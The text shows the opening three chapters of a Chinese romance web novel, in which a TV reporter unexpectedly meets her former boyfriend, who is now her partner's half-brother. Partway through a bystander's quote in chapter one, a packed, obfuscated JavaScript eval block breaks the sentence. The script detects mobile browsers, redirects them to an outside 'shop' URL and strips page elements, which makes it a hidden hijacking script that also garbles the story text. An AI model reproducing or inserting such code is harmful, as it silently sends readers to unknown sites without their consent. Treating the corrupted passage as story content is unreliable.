《期待新的冬天和你》 1. 第一章 《期待新的冬天和你》 文/梅子红 晋江文学城首发 * 从大西北回来,已经到了文都最热的酷暑,窗外的蝉儿叫得让人莫名烦躁。 烈日下的女人身躯单薄,她靠在窗台上咬着冰棍,那头顺滑的长发落在肩胛骨上。 她回头莞尔一笑,讲着在大西北见到的风景和人文气息。 一双乌黑深邃的眼眸,透亮干净,眉梢温婉。 她像一枝梅花,看上去随风飘动,柔弱不堪,可实则风骨与气节并存。 张秉文坐在沙发上咬着烟,瞧着面前的女人,她头发剪短了,卷发也烫成了直发。 好像比之前更瘦,她穿着一条白色蕾丝的连衣裙往那一站,昏黄的阳光下,周遭镀了一层金边。 确实让人很难忽视她的存在。 两人目光再次相撞,张秉文便顺手掐灭了火苗,“南南,这一路很累吧?” “这次是我的错。” 七月中旬以来,眼下是姜南第一次见到张秉文,他开口便是道歉。 这一个月,张秉文天南地北飞,一会儿在温哥华,一会在洛杉矶,大部分时间都在国外。 各自都有工作要忙,两人聊天不多。 期间张秉文提起过等他忙完这一阵回来就陪她去大西北,姜南答应了,可后来那边实在催得急,她就提前先过去了。 昨晚凌晨才到的文都,火车晚点,在路过鞍山的时候,车出了点小事故。 到家后,她给张秉文发过微信,简单的报了平安就收拾干净躺下睡了,也忘记问他是几点的飞机回来。 今天一早,她还在睡梦中就被姜青山吵醒了,那小老头板着一张脸,扬言要让她屁股开花。 这荒凉的大西北,她说去就去了,独自一人,出发前说的好好的是结伴同行。 唠叨的话从姜青山嘴里说出来也见怪不怪:“小张说这次是你一个人去的大西北,走之前你怎么跟我说的,他真能放心让你一个人去那么远的地方,心还挺大。” “半年都见不上几次面,你还真打算和他结婚?” “我不否认,他人很好,可是我觉得你和他在一起不开心,我说的是那种发自内心的高兴,你和小张在一起像是两潭死水,多硬的石头砸下去都激不起浪花,况且你当初和他在一起也是因为……” 姜南当时在画眉毛,手一抖画歪了,她边擦去眉骨上的青黑色,边打断姜青山的话:“可是生活最终都是要归于平淡的,哪有那么多的激情。” “爸,我们挺好的,这好的女婿,你还挑上了,小心人跑了,我嫁不出去孤独终老!” 这算是彻底堵死了姜青山还想要说的话。 “呸呸呸!”姜青山出了门,“快收拾收拾,别让小张久等,人来了好久,就等你起床。” 姜南在房间里待了十几分钟就出来了,顺道在冰箱里拿了根冰棍。 文都的夏天恨不得扒掉人一层皮。 此刻冰棍如数进了肚子,姜南走过来坐在沙发上,她往杯子里倒了杯凉水,嗓子里火烧火燎的难受没好,反而因为甜腻的冰激凌更不舒服了。 回到家反而水土不服起来。 她叹了口气:“不怎么累,就是老家和大西北温差太大,昨晚下高铁的时候我还裹着大棉服,差点中暑!” “你来了多久?怎么不进房间?” 张秉文:“刚来,陪叔叔聊了会天。” 姜南一杯水下肚:“什么时候回来的?” “早上刚下飞机。” 他实在是不放心姜南,这些年无论去哪几乎都是他陪着,这次在国外有事耽搁,一时半会回不来,事情一办完,他一分一秒都待不住。 姜南努努嘴,心里咯噔一下,她确实一眼就瞧见张秉文眉梢里的倦意,“熬了个大夜?” 张秉文一直都很直接:“签了合同就急忙赶回来,想见你,一刻都不想等。” 姜南笑笑,用手点了点他的鼻尖,“张秉文,下次可不许这样。” 像哄小孩一样。 可他每次都这样。 一次也没听过话。 姜南的呼吸很轻,指腹却残留着夏日的滚烫,张秉文感觉自己瞬间就被抛到卷着热潮的柏油路上。 她的眼神撞进眼里,心就越发躁动。 张秉文拧着眉心,清醒几分,他起身去厨房又添了茶水,等到他回过来时,姜南正在打电话。 “现在吗?拜托,我在休假呀!” “露露也请假了?铁哥他老婆要生了?” “那好吧,我过来。” “怎么了?”张秉文走过来。 姜南还在听电话里的同事说话,可她的心思都跑偏了。 她已经好久没有认真看过张秉文,这恍惚间,她突然想起以前的张秉文。 认识张秉文,今年是第四个年头。 两人是朋友介绍的,一来二去,张秉文先开的口,他约她吃饭,席间送了她热烈美艳的红玫瑰和昂贵的绿宝石项链。 像是所有成熟男女之间的告白,早就不光是嘴里说说而已。 姜南当时并没有同意,她觉得两人相处不久彼此并不了解。 后来,张秉文跟着她来到文都,一切就顺理成章的发生了。 张秉文不是传统意义上的帅哥。 单眼皮,有些凶相,并不算大的眼睛里似乎总是藏锋卧锐。 他又特爱理三七侧背短发,勾勒着五官线条分明。 三十好几的人,早就将年轻男人的那股子嚣张气焰掩盖,反而添了几分不容靠近的冷淡。 可在姜南面前,张秉文总是很温柔,与外人眼里的判若两人。 这样长相的男人从高中开始就是姜南的理想型,这么多年都没变过。 张秉文到跟前,递过来一个四方盒子,与此同时,姜南也正好结束通话。 “从墨西哥给你带的小玩意。” 姜南打开一看,是一对翠绿色的耳坠。 “好看,我去戴给你看。” 姜南拿着进屋,很快就出来。 她皮肤白,衬得起绿色。她今天穿了件白色连衣裙,配上眉心那颗淡淡的痣,有种清冷感,温柔又素雅。 张秉文出差就会给姜南带礼物,总是些首饰。耳环,项链,手链,不计其数。 很早之前,姜南也抱怨过让张秉文不要再买了,她又不是八爪鱼戴不了那么多,可当时张秉文就直接将一条价值三十万的手链扔进了垃圾桶里。 那随意的样子,像是扔了一条廉价的发臭的鱼,它脱离赖以生存的海洋,就只能凄惨地躺在恶臭的垃圾里。 “除了你,没人配得上它。” 许多年后,姜南回忆起这件事情,张秉文的偏执,也许早就有所信号。 “等会我送你去?”张秉文说。 姜南抿唇:“本来想着下午陪你的。” “工作要紧。” 两人同姜青山说了两句就走了。 姜青山像是送佛一样,巴不得两人早早走,他门一关,给熟人去了个电话。 * 这四年时间里,姜南都在文都电视台都市频道《人生》栏目担任记者。 《人生》是一档民生新闻栏目,主要是关注和报道一些人民群众的生活。 刚才上面派了一个紧急任务,说是紫辰小区发生火灾,火势还挺大的,需要尽快赶往现场做报道。 姜南直接让张秉文送到了小区门口。 “你先回去,我这儿估计要好一会。”姜南解开安全带,“晚上一起吃饭。” 张秉文摸摸姜南的头,“好。” 穿过消防车和救护车,姜南远远看见江小杰扛着摄像机正跑来跑去在录像。 劫后余生的人群四处逃离,并没有太多人愿意接受采访,大多数都是衣冠不整,蓬头垢面的。 男人穿着宽松的西装短裤,赤-裸着上半身,抽着烟,站在那儿指指点点,中年男人特有的啤酒肚,一排在那散开。 烟雾随着风飘来飘去,他们越说越激烈,烟越抽越猛,一地都是烟头。 女人散着枯燥的头发,怀里抱着哭得稀里哗啦的孩子,她们一边哄着孩子,一边满心担忧地看着楼上。 也就个别老大爷在这灾难般的嘈杂环境下,淡定自若,坐在矮凳子上摇着蒲扇。 闷热的天气,随时有下雨的冲动。 姜南感觉太阳从树枝的缝隙里匀了几抹光在她身上,热得发烫。 她是真的不喜欢夏天。 姜南努力让自己面部表情放松,接着就跑过去采访:“叔叔您好,我是电视台《人生》栏目组的记者,请问您是怎么发现火灾的?” 群众说是这位大爷报的119。 “我不是第一个发现的,是个小伙子,他喊了两嗓子,我赶紧从家里出来,到楼下抬头一看,突然听见一声很大的动静,像是什么东西爆炸了,然后就看着浓烟滚滚出来,吓死我了!我赶紧打了119,一分钟都不敢耽误!这要是爆炸了,得死多少人!” “听说是3楼的张老太,捡了废纸壳子和塑料瓶放在楼道里,也不知道谁把烟头扔那里,烧着烧着就烧到电线了。” “好在现在火控制住了,没死人,没重伤,轻伤的几个也都送去医院了。” “真是要好好感谢那位小伙子,没有他还不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191274|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧成什么样才能被发现,这个时间段,大家都在上班,楼里可没什么人。” “你们媒体可要好好宣传一下这样热心肠的小伙子,真是大家学习的榜样。” 大爷抬手指着不远处的男人,“瞧见没,人在那呢!” 姜南鬼使神差地顺着大爷所指方向看去。 仅仅只是一个背影,身躯很高,他的胳膊搭在黑色轿车的窗口,另一只手上夹着烟。 烟头燃着星光,四处又缭绕着烟雾,在这忽明忽暗之间,他的手指掸了两下烟灰。 手指细长,骨骼轮廓清晰。 姜南收回目光:“谢谢,我去问一下具体情况。” 大爷摇了摇头:“没戏,这小伙子不接受采访,去了几波人了,压根不开口,我本来还打算把我孙女介绍给他,他说他有女朋友了,可惜喽。” 并不是所有人都愿意露面,这也正常,毕竟现在网络发达,上了电视台后个人信息会被陆续曝光。 像是一件衣服,被网友全部扒光,连最后一块遮羞布也不会留。 人会不受控制的探寻别人的隐私。 姜南用余光又看了一眼远处的男人,胸口突然感觉不舒服。 她还在慌神时,胳膊被人拉住了,她回头看,是江小杰。 他额头全是汗珠,他一边用纸巾沾汗,一边喘粗气,“姐,我这边都弄完了,现场情况也拍了,消防员那边有郭哥顶着,你先走吧,写稿剪片子的事情包在我身上。” “快走,秉文哥在等你呢,都快望眼欲穿了,你们难得见一次面,还不去腻歪腻歪,老沈也真是的,就这点活还把你喊过来。” 姜南笑了笑,也没浪费他的好意,他们之间太过于客套就显得见外了:“下次你对象来,我替你。” 江小杰痞笑:“行!” 他性子直,年纪轻,说话就不过脑子:“南姐,让秉文哥量力而行,你可别榨干他。” 话说完,搬起设备就跑,生怕姜南拿话噎他。 小年轻嘴里没个把门的,真以为大家都像他们似的,干柴烈火,几天都烧不灭。 反反复复,不死不休的。 姜南隔着人群和郭鹏打个招呼就离开了,径直往黑色轿车走去,张秉文的车还在那没走,她后知后觉中发现,刚才那个男人是在和张秉文说话。 毕竟这附近也就这一辆黑色迈巴赫,想不显眼都不容易。 只是眼下男人不在这儿,不知道去哪了。 “结束了?”张秉文递过来一瓶矿泉水,“天气干燥,润润嗓子。” “怎么还没走?”姜南偏头故意问:“等我呢?” “碰见个认识的人。” “谁啊?刚才和你说话的?” 张秉文在文都的朋友姜南都认识,可刚才那背影分明就不是熟人。 “我弟。” “你哪来的弟弟?” 张秉文目光不注视着姜南时,他的脸是看不出任何情绪的,“顾薇的儿子,很小的时候在广场上走丢了,四年前才找回来。” 顾薇是张秉文的后妈,虽然张秉文很不想承认,可这确实是他爸明媒正娶的妻子。 在他妈妈去世两年后,顾薇进的家门,隔年便生下一个儿子。 张秉文和他不熟,交情更不用说,总共就见过他一次,还是他找回来那次,张学强大摆宴席,宴请宾客,还将公司的股份分了百分之二十给他。 今天是第二次见面,可张秉文还是一眼就认出了他。 不光是长相上的相似,他的身上还隐约带着和自己一样的磁场。 张秉文想,这或许就是血缘关系。 “哦?之前没听你提起过。” “没什么往来,在文都能见到他,我也很惊讶,”张秉文接着说:“刚才你采访他了吗?看他灰头土脸的样子,像是刚从火灾现场跑出来。” “没有,他不接受采访,大爷说他是火灾现场第一发现者,可惜了。” “这么好的出名机会都不要。” 姜南开玩笑:“要不你和他说说,给我行个方便?” 张秉文笑笑:“行,正好我喊了他一起吃午饭。” 他招手,冲着窗外嚷嚷一句:“走了,周赫言。” 男人从便利店走出来,理着干净的寸头,眉毛浓密,眼神清亮。 他将整包烟揣进兜里,上车的时候又给张秉文丢了一包。 随后才瞥了眼姜南,不像别的男人那样上下打量,仅仅是看了一眼就挪开视线。 他勾着唇角,“嫂子好。” 姜南扭瓶盖的手一哆嗦,水尽数洒在身上。 男人不是别人。 也是她的熟人。 2. 第二章 姜南原本以为自己早就将那个少年遗留在了十九岁的夏日里。 可当他身上皂香的气味,一点一点慢慢侵略进她鼻腔时。 她忽然惊醒。 就像是做了一个噩梦,突然有人响了枪声,打破沉寂,她醒了过来,又像是没真的醒来。 可在一段冗长的安静中,预期的枪声并没有真的到来。 姜南看着桌面上冒着热气的腌笃鲜,她隔着烟雾,用余光偷偷瞥了眼周赫言。 他身上不知道什么时候有了一股子养尊处优的劲儿,和她记忆中的少年完全不一样。 少年时的张扬和激情,随着时间的流逝,留下来的是男人的成熟。 他似乎也在看她,眉眼依旧冷淡。 就像是刚才在车上,她本来想要假借单位有工作来避开这场饭局的,因为她知道自己是没有办法心平气和的吃完这段饭。 可那会周赫言就是这般撩起眼皮看她,像是看陌生人的眼神,他慵懒的嗓音在空气中回荡:“第一次见面嫂子就不给面子呀!” 姜南后面的话被迫咽进了肚子里。 腌笃鲜的热气从饱满到稀薄。 很久之后,姜南还是没能有勇气与周赫言目光对视,她侧着脸,眼睛一直盯着手机看,那条视频来来回回看了好几遍。 她心里清楚,自己害怕这样的目光相撞,更害怕周赫言认出她来。 这一刻,姜南觉得自己很没出息,明明当初那些决绝的话都是她说的,她义无反顾的离开,背影走的要多潇洒就有多潇洒。 如今这般畏首畏尾的,做给谁看? 姜南喝了口蜂蜜柚子茶,转移注意力的同时让自己冷静下来。 可没用。 她的心早在遇见的那一刻就乱了。 如今,眼皮跳个不停。 她的这般不自在,也被张秉文看在眼里,张秉文将烟灰抖在烟灰缸里,问:“怎么了,身体不舒服?” “没事。”姜南摇头。 她不知道张秉文有没有听出她话语里的慌张,也许是她自己心虚,反正这一刻,他的手掌在她手背上摩挲,力度并不轻。 她能清楚的感受到他掌心处的薄茧,烫的很。 “是不是昨晚没睡好?累了?” 很暧昧的话,在这包厢里,裹着浓浓的青白色烟雾。 姜南的余光又不受控制地看向周赫言,他的唇角勾起一抹笑意。 看不出是什么情绪。 他说:“哥,你和嫂子可真恩爱。” 旁边的张秉文转过头,又继续刚才的聊天内容,言语中恰到好处的分寸感,“来文都有事?” 周赫言:“参加朋友婚礼。” “公司和这儿的工厂谈崩了,下个季度的合作打水漂,我还以为你是为这事来的。” “是吗?”周赫言笑得比张秉文还灿烂,可神色上早就不是那股子稚嫩气息,老练了许多,“公司我没去,上班那一套不适合我,光是想想都觉得太拘束,我这人还是比较喜欢自由。” 这话一出,张秉文面色难辩。 按理说,张学强千辛万苦的终于把人找了回来,又在董事会上当着众人宣布了周赫言的任命,这明摆着是把他当成重点培养对象。 恐怕全公司的人都早把周赫言当成了接班人。 至于他——张秉文,算什么玩意,没了妈,爸又不疼的人,只能自生自灭。 “爸没说你?”张秉文深瞥他一眼,“他能同意?” 想当初,张秉文想要来文都发展,几乎和张学强撕破了脸皮,什么恶语伤人的话张学强都说了。 后来张学强气不过,直接拿着手上的拐杖砸过去,拐杖硬生生砸在张秉文的小腿上,断成两截。 他跪在地上一时半会没能站起来,实在是疼,后背全是薄汗,晕着灰蓝色的淤青持续了将近一个月才慢慢褪去。 这四年里,张学强不曾有过哪怕一次的嘘寒问暖,今天要不是看见周赫言,张秉文都快忘记自己还有个爹。 “说了,我没听。”周赫言转动转盘,将鱿鱼停在姜南面前,“他还说让我改姓张,我也没乐意。” 他将转盘又转了一圈,依旧将鱿鱼停在姜南的眼前。 好巧不巧,像是刻意的。 姜南敛着表情在玩手机,瞧见了也当没瞧见。 平日里酷爱的鱿鱼现在也索然无味,她提不起兴趣来,只想快点结束这场尴尬的饭局。 她没办法做到面对这戏剧化的重逢,还能侃侃而谈,隔了十年,她的性子越来越淡。 手机搜索页面突然跳出来一个话题 。 #突然遇见前任怎么办? 脑壳疼:妹子们,如果远远看见了,就赶紧掉头走掉,做个最熟悉的陌生人吧。 这个夏天我要暴瘦:我想我会泪崩。 秃头少女鹅:我前几天遇见了前男友,他迎面走过来,我躲不掉,只能硬着头皮打招呼,回去想想他好像眼睛里有泪,他是不是还喜欢我啊? 热心市民中原马匪:我前女友和我在一起八年,其中五年都在劈腿,如果让我在大街上看见她,我非得把她腿打断。 马桶养鱼:他变丑了,果然是我的爱给他镀了一层金边。 你菜大姐啊:滚了一次床单,感觉很好。 …… 姜南睫毛颤了下,她好像什么都做不了,只能这样安安静静地坐在对面。 这时,张秉文给姜南夹了块鱿鱼,被辣椒包裹着上桌的鱿鱼,边缘发红,扒了皮更是让滋味迅速浸透进去。 姜南心思不在饭桌上,完全不知道碗里是什么,拿起筷子一夹咬上一口,直接被呛出了眼泪。 周赫言又说:“像我这样的野犬,扒了皮,换上新装又如何,骨子里还是贫民窟的野蛮模样。” “人前人后的风光我消受不起,倒不如自己找一个自由的地方,落得清净,也省得败坏张家的名声。” “姓了二十几年的周了,改不了,也不想改。” “周赫言,张赫言,改了姓有人就该忘了我。” 打火机摁下,火光燃起。 周赫言咬了根烟,“嫂子吃不了辣?” 姜南反应过来才真切感觉到辣,直冲脑门,她深吸了一口气,又狂灌一杯百香果汁进去,酸味混着辣味,她感觉自己的味蕾都要爆炸了。 包厢里适宜的温度,此刻也不再舒适,她抬头对上周赫言的目光,也是重逢这么长时间,第一次真正的与他四目相对。 他的表情坦坦荡荡,完全像个没事人一样。 他到底是不是故意的。 周赫言声音慵懒低沉:“我哥可是无辣不欢的人,嫂子,你还要再练练。” 姜南突然感觉不爽,这股劲儿瞬间到达极致。 像是烫化了一支冻的梆硬的奶油雪糕,黏在身上,难受极了。 他是故意的。 张秉文招手让服务员送来一份小米粥,他用勺子搅了搅,散去余温,照常的关心体贴:“我光记着你爱吃鱿鱼,忘了你没吃早饭,不能吃辣,没事吧?” 姜南摇头,满脸的乖巧懂事:“没事。” 接着,她就低头开始喝粥,一勺接着一勺,耳边两人的聊天并没有停止。 可她的心思再一次偏离轨道,姜南觉得周赫言认出她了。 原本她还在想,只要周赫言没有直接说出来,便有很大的概率他已经忘记自己。 有这样的想法完全是因为当时两人年龄都不大,长相也并没有那么饱满,如今都长开了,人是会变样的。 仔细想想,姜南第一次见到周赫言,也才十五岁,那一次见面印象深刻,至今回想起来,那个画面还是异常清晰。 他是邻居老爷爷收养的孤儿,听说是被人贩子拐到文都来的,路过筒子楼的时候刚好碰见警察,人周赫言一见警察叔叔就哭着闹着要找爸爸。 人贩子是个经验不老道的新手。 一看这架势,撒腿就跑,哪里还顾得上这个三岁不到的孩子。 后来人贩子没追上,孩子他爹也没找到。 就这样过了七年,老爷爷得肺癌去世,周赫言变成一个人。 姜南一家搬到筒子楼的时候,也是她第一眼见到周赫言,下巴都惊掉了,“天呐,爸,他真的是好瘦啊,整个就是营养不良的小破孩呀,他不会突然就晕倒了吧!你看看他细胳膊细腿的,风能把他刮跑吧!” 姜青山用水瓢敲着姜南的脑袋,“怎么说话的,你俩差不多大,往后小言就住在我们家,是你哥哥,你可别欺负他,暂时就让他和小宋一个房间,小言成绩可好了,全年级第一,正好可以辅导一下小宋的功课。” 姜南耸了耸肩:“无所谓,姜宋刚会爬,你看周赫言能不能教他认字!” “那就先抓你的功课。” 姜南那时候时常觉得周赫言狗仗人势,仗着背后有姜青山撑腰,他就越发变态的缩短她放学后的休息时间。 当然,周赫言偶尔也会慈悲的让她休息一会,可当她拿着言情小说看到最精彩的地方,一套数学试卷就飞了过来。 没有任何预兆,也没有任何商量的余地,小说书被当场没收。 姜南也抗议过,撇着嘴看着姜青山,指控着周赫言的罪行,大豆般的眼泪“啪嗒啪嗒”往下掉。 姜青山笑笑:“你不当演员可惜了,这眼泪说掉就掉。” 往往这个时候,周赫言就靠在门框上,似笑非笑看着她。 他并不常笑,人闷得很。也就只在她被姜青山训的窘迫的时候,他才会有所情绪波动。 这个傻子整天就光知道读书,每次考试都是年级第一,而她几乎都是垫底的。 两套一样的卷子,天壤之别的分数。 姜青山就会感慨:“同样是吃大米饭的,区别怎么就这么大!” 姜南委屈巴巴:“他不是吃大米饭的,他是吃菠菜的,大力水手的菠菜!” 姜南那时候觉得,周赫言很讨厌,成绩那么好,又那么听话,这不是活生生的把别人家的好孩子放在爸爸眼皮底下,与她形成鲜明对比。 她那个时候就给周赫言取了个外号,叫“周扒皮”。 此刻,周扒皮就坐在对面,薄薄的单眼皮往上挑,皮笑肉不笑,说:“什么时候回趟家?” “他提到我了?”张秉文反问。 “总说起你为了嫂子背井离乡的故事。” 张秉 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姜南没来得及接话,周赫言却挪开目光,乏味了一般,将手机揣进兜里,站起身来,“走了,我朋友来接我。” 最后的最后,还是没能体面。 * 周赫言的朋友是个黄毛,刚推开门打算进来就被周赫言勾着脖颈赶了出去。 包厢门一开一关,隔绝着两个世界。 黄毛被拽着往外走,边走边回头看,那扇黄花梨大门晃悠着,他似乎想起什么,回头看了一眼周赫言,话到嘴边又欲言又止,可最后还是没忍住,“姜南?是不是姜南?那女的是不是姜南?” “不是。”周赫言脚步顿住。 仅仅一瞬,他又恢复正常。 “不是姜南我头摘下来被你当球踢,这位大美女,走在路上看一眼都不会忘记的脸蛋,我认识她那么多年,我能认错!言哥,你以为我白内障!” “谷志航,你能认出她?她能认出你吗?” “什么意思?”谷志航不明白,“她没认出你来?你们没相认?” 周赫言嗓音不高,他将不悦极力控制,也算是没有太过于显著,“我只是提了一嘴那家小馄饨铺,她勺子都吓掉了!我怎么认?” “舔着老脸认呗,就像当年一样,怎么求着她不要分手的,那时候你可比现在有种多了,果然年纪大了,患得患失,前怕狼后怕虎的,没了年少时的那股劲儿!” 无论什么时候脑海里突然闪过那个瞬间,周赫言心就抽着疼。 如同无数只蚂蚁在啃食他的心脏,吃一点,往蚂蚁穴搬一点,这样的行为使得心脏的血液会慢慢凝固,又被重新咬开。 他以为自己早就能适应这样的难受,可他还是高估了自己。 心真他妈的疼。 那个热得让人喘不上气的大夏天,姜南为了离开他,从飞速行驶的汽车上直接开车门跳了下去。 他的车失控撞在树上,他强忍着疼痛跑过去扶她,却被姜南一把推开。 他摔倒在地,他问姜南:“一定要离开我?死都不怕?” 姜南喊着:“周赫言,我看到你就想到他,想到我们的错误,你让我怎么办!如果我们不在一起,事情可能就不会发生了。” 周赫言感觉嗓子里都是血腥味,说不上来的味道一直往上涌,“姜南,事情已经发生了,我们可以一起弥补。你让我做什么都行!” “我不需要你。周赫言,我不需要你。” 她歇斯底里,她边说边退。 她没有给任何机会。 他原本也不相信她会这么决情,可这一别就是十年。 不多不少,完完整整的十九岁到二十九岁。 周赫言到现在也不能接受,觉得那是一个梦,先甜后苦的梦。 有了上半段的甜蜜,显得后半段的苦更苦涩。 这份苦时间太长,变味了。 “小谷,她还是爱吃鱿鱼的。” “言哥,那只是鱿鱼,代表不了什么。代表不了她念旧情,或者说她还喜欢你,你不要再自欺欺人了!!” “十年了,周赫言,十年还不够吗,那四年的时光,你用了十年去忘记,还忘不掉?” “况且,我刚才听见你喊她嫂子,旁边那男的是张秉文吧?死心吧,她有对象了,她现在是你哥的女朋友。” “实在忘不了的话,你和她只能做朋友,这是最好的结果。” 周赫言站在风里,夹着烟的手指被火星烫了,有些泛红。 谷志航瞧见后果断打掉了他的烟,态度也软了些,“今天怎么碰上的?故意的?怎么不躲了?” “我看见她从张秉文的车上下来,就这么从我面前走过去,她没认出我。”周赫言自嘲地笑:“她看了我一眼,都没能认出来。” 谷志航对此表示很正常,“姜南怎么能想象到你有这么变态。” 周赫言没吭声,谷志航就接着说:“在这浮躁,充满诱惑的世界里,没人会像你这么执着的。” “言哥,这十年,你待在文都,没有任何意义。” 3. 第三章 自从那天见到周赫言,姜南就开始频繁做噩梦,一连几天都梦见他。 梦里真真假假的,看不清。 第一晚。 她带周赫言去小馄饨铺吃馄饨,她将滚烫的浓汤全部倒在他手上,手背被烫到血肉模糊。 她还冷嘲热讽地说:“活该!” 第二晚。 她又带他去文都那座佘山,两人爬到山顶,当周赫言拉着她的手要和她拍照时,她一把将他推了下去。 他幸运地抓住崖壁上的石头,求她救救自己,姜南假意救他,却在他两只手都离开石头时,她也撒了手。 她站在山顶居高临下看着他掉下去,“折磨一个人最好的方式就是先给他希望,然后推他到深渊。” 第三晚。 她梦见了三岁时候的周赫言,那么小的小男孩,他浑身穿的破破烂烂,站在筒子楼门口哭。 姜南挡住姜青山的步伐,“爸,警局上班快迟到了,这小孩你就别管了,我认识他,我等会就带他去找他爸爸。” 姜青山走后,姜南转眼就把小男孩带到一个偏僻的角落里丢了,“往东走,不许再回筒子楼。” …… 这样的噩梦接踵而来,姜南上班的时候感觉自己完全处于精神恍惚的状态。 她给自己泡了杯特浓速溶咖啡,还没喝上一口,隔壁桌的江小杰就凑过来,“姐,今天晚上秉文哥约你了吗?” 姜南说:“他出差了。” “那你能不能帮我一个忙。” “什么忙?” “陪我去参加顾晴的婚礼,假扮我对象?” 姜南到嘴的咖啡差点洒了,“顾晴不是你对象吗?” “前两天分了,”江小杰看了一圈周围,人来人往,并没有人注意到他们,他继续说:“妈的,这女人给我戴绿帽子,昨儿个给我打电话说她要结婚,让我是个男人就去参加她的婚礼,她说就我这个屌丝,压根不配娶她,连给她提鞋都不配,那得瑟劲,想起来我就气得心肝疼。” “南姐,我是真咽不下这口气,我对她那么好,我们工资你是知道的,就那么点,她要买名牌包,我什么时候含糊过,哪个网红买了啥牌子的衣服,护肤品,化妆品,鞋子,她要,我二话不说就给她买。” “到头来得到了什么!她的一句‘我不配’,我感觉天都塌下来了!” 姜南啧了一声:“你准备去砸场子?” “砸场子我应该带郭哥,带你干什么,他五大三粗的,实打实的肉,谁见着他不绕道走,我带你去我是想膈应死她,有什么比找个身材比她好百倍,脸蛋比她漂亮千倍的女人更让她有挫败感。” 江小杰龇牙咧嘴地吸气。 江小杰算是姜南为数不多的,推心置腹的朋友,他年纪不大,心思单纯,虽然是个男的,可为人处事方面,方式方法都很细节。 就连一向不怎么爱和姜南同事打交道的张秉文都夸过他好几次。 小伙子头脑冷静,又不失幽默风趣。 平时大多数时候都是江小杰帮她忙,现如今总算是有用得着姜南的地方,她自然是义不容辞。 她二话不说就答应了,事情不大,也好办。 * 当晚姜南就开着骚包的小跑车去了江小杰给的地址。 文都顶奢的酒店,在古松街的尽头,差不多占了半个西部。 入夜,清一色的古铜色路灯,整个一排一直延伸到大厅门口。 有泊车的小哥过来停车,姜南就把钥匙给了小哥,还没来得及说声谢谢,江小杰咋咋唬唬的声音就传来了。 他西装笔挺地站在门口,“南姐,这里。” 他将姜南拉到一侧,嘴角弯起自然的弧度,“南姐,你太给面了。” 姜南裹着一条紧身黑色吊带鱼尾裙,真丝的材质,面料服帖,将腰腹间的曲线勾勒得简直完美。 她及腰的黑色长发卷翘,显得腰身更细了。 “细腰肥臀”,江小杰一时愣神,只想到这个词来形容姜南。 江小杰见惯姜南清纯的一面,这突然间妩媚起来,两种完全不一样的气质,没有突兀,反而为她增添了几分魅惑。 “怎么了?”姜南问。 “简直太漂亮了。”江小杰视线落在姜南胸口的绿宝石项链上,若有所指地笑,“光是这条项链,她顾晴就彻底输了。” 进宴会厅后,姜南才发现,这场战役,即便江小杰一个人来也是赢的,毫无悬念,因为新郎是位六十岁的老头。 他顶着地中海,坐在镶着金边的轮椅上,个子不高,粗略估计应该不足一米七。 他操着一口并不标准的普通话在致感谢词。 新娘站在他旁边,笑得花枝乱颤。 姜南来得晚,宾客早就入席,过道上极少人在走动,她跟在江小杰后面去顾晴预留好的位置。 一个偏离主桌较远的角落里。 很快顾晴就来了。 像是特地过来找茬般,她先是不怀好意的上下打量了一番姜南,撇撇嘴,也没说什么,最后视线落在她的项链上。 余光不着痕迹地又挪到自己的脖颈上,这样一比,自己戴的完全算是个次品,上不了台面。 顾晴挑刺道:“江小杰,从哪找的富婆姐姐?昨儿个在电话里骂我,自己什么玩意,也玩无缝衔接。” 江小杰撩了下眼皮,也没好脾气,“无缝衔接怎么了,至少我没你那么没品,脚踩几只船,我光明磊落,分手了重新谈恋爱还需要像你报备?你以为你谁啊?我妈还是我奶?” 顾晴吹弹可破的皮肤,立马染上一层红润。 她性子急,脾气暴躁,要是以前,她非得拧着江小杰的耳朵让他道歉。 可现在她什么也做不了,周围无数双眼睛都在盯着她看。 顾晴将身体往后撤,假装淡定地询问姜南:“美女,这项链哪买的?改明儿我让我老公也给我买一条。” 姜南算是见识到,什么叫翻脸比翻书还快。 姜南手攀在江小杰胳膊上,很是亲切地喊了一声:“小杰。是小杰给我买的,我不想要,他非要买。” 平缓的语气可半点不饶人。 旁人可能听不出姜南话语里的意思,可顾晴很聪明,话里话外想要表明的东西,她很快就知道了。 “他买得起?” 姜南咧嘴笑,她胡编乱造有一套:“他怎么会买不起,听说过文南集团吗?他可是大股东,一年光是分红就有几千万,再者说他家里,也是从商的,家底雄厚着呢,他做记者就是玩玩,消磨消磨时间的。” 她的语气如同闲聊般无所谓:“难道他没和你说过?小杰,看来顾小姐没有经受住你的考验呀,好可惜。顾小姐这么漂亮的人,和你是真配,不过现在这样也挺好,让我捡了个大便宜。谢谢你,顾小姐。” 周遭的气氛仿佛凝滞,落针可闻。 事情到这里便告一段落。 婚宴继续进行。 期间,姜南去了趟卫生间,宴会厅里音乐太嘈杂,震得耳朵疼。 她找了个阴暗的角落,打算给张秉文去个电话。 张秉文的电话也在这时打了过来。 张秉文略显疲惫的声音传过来:“怎么样?大概没有女人见到你会没有挫败感吧。” 姜南:“她当时脸都绿了。” 张秉文:“小杰还好吧?” “喝了点酒,估计且闹腾,也对,谈了两年了,又是初恋,哪有那么容易想通。” 电话那头有“呲呲”的电流声。 还伴随着空调的呼声。 张秉文:“那你呢?” “什么?” “你的初恋。” 姜南有几分意外,更多的是诧异,她没想到张秉文会问,他从来不过问自己的过去。 “这么多年了,我早就忘了,上学时候哪懂谈恋爱,就光图好玩,没有半点真心的。” 张秉文“嗯”了一声:“所以说时间会慢慢淡忘一切。回去路上当心,我先开会。” 电话挂断后,姜南一时失了神。 那四年到如今,树叶绿了又黄,凋谢了又长满,多少个春夏秋冬。 可仿佛就在昨天,往事历历在目,不是她想忘就真的能忘记的。 * 筒子楼里的水槽里永远蓄着脏水,混着菜叶子和断裂的头发丝。 